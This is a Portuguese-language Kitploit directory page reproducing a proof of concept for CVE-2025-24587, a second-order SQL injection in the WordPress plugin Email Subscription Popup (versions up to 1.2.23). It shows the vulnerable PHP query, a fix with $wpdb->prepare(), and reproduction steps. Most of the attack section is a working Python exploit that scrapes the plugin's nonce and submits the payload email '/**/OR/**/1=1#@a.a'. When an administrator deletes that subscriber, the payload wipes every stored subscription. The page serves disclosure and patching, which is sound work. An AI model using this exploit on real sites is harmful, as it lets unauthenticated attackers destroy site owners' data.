Skip to content
KitploitKITPLOIT
FerramentasBlog
Enviar
FerramentasBlog
Enviar

Ferramentas de Hacking, PenTest e Cibersegurança para o seu Arsenal de Segurança!

Kitploit é um diretório de ferramentas de hacking, cibersegurança e pentesting. Descubra as últimas atualizações de projetos para encontrar vulnerabilidades, analisar sistemas, automatizar testes e fortalecer sua segurança.

··Feeds·Contato·Privacidade·© 2026 Kitploit

Diretório de Ferramentas

Categorias

Ver todas as categorias
Loading categories
CVE-2025-24587 — PoC of CVE-2025-24587 | Kitploit
Ferramentas/GitHubGitHub/dottak/cve-2025-24587
Vulnerability AnalysisCode AnalysisExploitationWeb Application ExploitationPenetration TestingLearning & Education
GitHubdottak/cve-2025-24587

CVE-2025-24587

PoC of CVE-2025-24587

Ver Repositório
1há 1 anoAinda não revisado

Mais Populares

Ver todos →

Descubra as ferramentas mais usadas pela nossa comunidade.

Explore todas as ferramentas

Navegue pela nossa coleção de ferramentas

Ver todas as ferramentas →
Compartilhar

CVE-2025-24587

1️⃣ Tipo de componente

Plugin WordPress

2️⃣ Detalhes do componente

Nome do componente Email Subscription Popup

Versão vulnerável <= 1.2.23

Slug do componente email-subscribe

Link do componente https://wordpress.org/plugins/email-subscribe/

3️⃣ OWASP 2017: TOP 10

Classe de vulnerabilidade A3: Injection

Tipo de vulnerabilidade SQL Injection

4️⃣ Pré-requisito

Não autenticado

5️⃣ Detalhes da vulnerabilidade

👉 Descrição curta

Um usuário não autorizado (atacante) se inscreve na newsletter usando um endereço de e-mail contendo um payload de SQL Injection. Posteriormente, quando o administrador navega para a página "Gerenciamento de Inscritos", seleciona o endereço de e-mail malicioso e solicita a exclusão, o payload de SQL Injection embutido no endereço de e-mail é executado. Como resultado, todos os endereços de e-mail inscritos são excluídos do banco de dados.

👉 Como reproduzir (PoC)

  1. Prepare um site WordPress com o plugin "Email Subscription Popup" (versão ≤ 1.2.23) ativado.
  2. Execute o arquivo poc.py.txt (anexo) usando Python para se inscrever na newsletter com um endereço de e-mail contendo um payload que desencadeia a vulnerabilidade de SQL Injection:
    • Endereço de e-mail: '/**/OR/**/1=1#@a.a
    • Observação: A inscrição usando este endereço de e-mail não é possível via cliente (navegador) devido à validação. Em vez disso, envie um pacote de solicitação HTTP diretamente conforme mostrado em poc.py.txt.
  3. Faça login como administrador e navegue para: http://localhost:8080/wp-admin/admin.php?page=email_subscription_popup_subscribers_management.
  4. Selecione o endereço de e-mail '/****/**OR**/****/1=1#@a.a e clique no botão "Excluir Inscritos Selecionados" na parte inferior.
  5. Como resultado, todos os endereços de e-mail inscritos serão excluídos.

👉 Informações adicionais (opcional)

[Causa da Vulnerabilidade]

Esta vulnerabilidade ocorre no arquivo wp-content/plugins/email-subscribe/wp-email-subscription.php, especificamente entre as linhas 2080 e 2084:

root@kitploit:~
# wp-content/plugins/email-subscribe/wp-email-subscription.php 의 
# line 2083 ~ line 2084
$query = "delete from  " . $wpdb->prefix . "nl_subscriptions where email='$em'";
$wpdb->query($query);

Para resolver este problema, você pode usar $wpdb->prepare() fornecido pelo WordPress. Esta função escapa e formata com segurança as variáveis usadas em consultas SQL para evitar ataques de injeção de SQL.

root@kitploit:~
$query = $wpdb->prepare(
    "DELETE FROM " . $wpdb->prefix . "nl_subscriptions WHERE email = %s",
    $em
);
$wpdb->query($query);

⭐ Código PoC

root@kitploit:~
import re
import string
import random
import requests

TARGET = "http://localhost:8080"

def poc():

    ####
    # 1. Retrieve the value of 'sec_string' required for email subscription
    ####
    resp = requests.get(f"{TARGET}")
    pattern = r'var nonce = \'(.{10})\';'
    match = re.search(pattern, resp.text)
    if match:
        sec_string = match.group(1)
        print("[*] sec_string: " + sec_string)
    
        ####
        # 2. Generate subscribers with random email addresses
        ####
        random_string = ''.join(random.choices(string.ascii_letters + string.digits, k=6))
        for i in range(10):
            data = {
                "action": "store_email",
                "email": f"{random_string}_{i}@example.com",
                "name": f"{random_string}_{i}",
                "is_agreed": "true",
                "sec_string": sec_string
            }
            print("[+] Successfully created subscriber #" + str(i) + " Email: " + data['email'] + ", Name: " + data['name'])
            requests.post(f"{TARGET}/wp-admin/admin-ajax.php", data=data)
        
        ####
        # 3. Create a malicious email address to delete all subscriptions
        ####
        data = {
            "action": "store_email",
            "email": "'/**/OR/**/1=1#@a.a",
            "name": "Email mine",
            "is_agreed": "true",
            "sec_string": sec_string
        }
        print("[+] Malicious email address created Email: " + data['email'] + ", Name: " + data['name'])
        requests.post(f"{TARGET}/wp-admin/admin-ajax.php", data=data)
    else:
        print("[-] 'sec_string' not found")
    

if __name__ == "__main__":
    poc()

6️⃣ Demonstração do Exploit

video

7️⃣ Referências

  • https://nvd.nist.gov/vuln/detail/CVE-2025-24587
Baixar ferramenta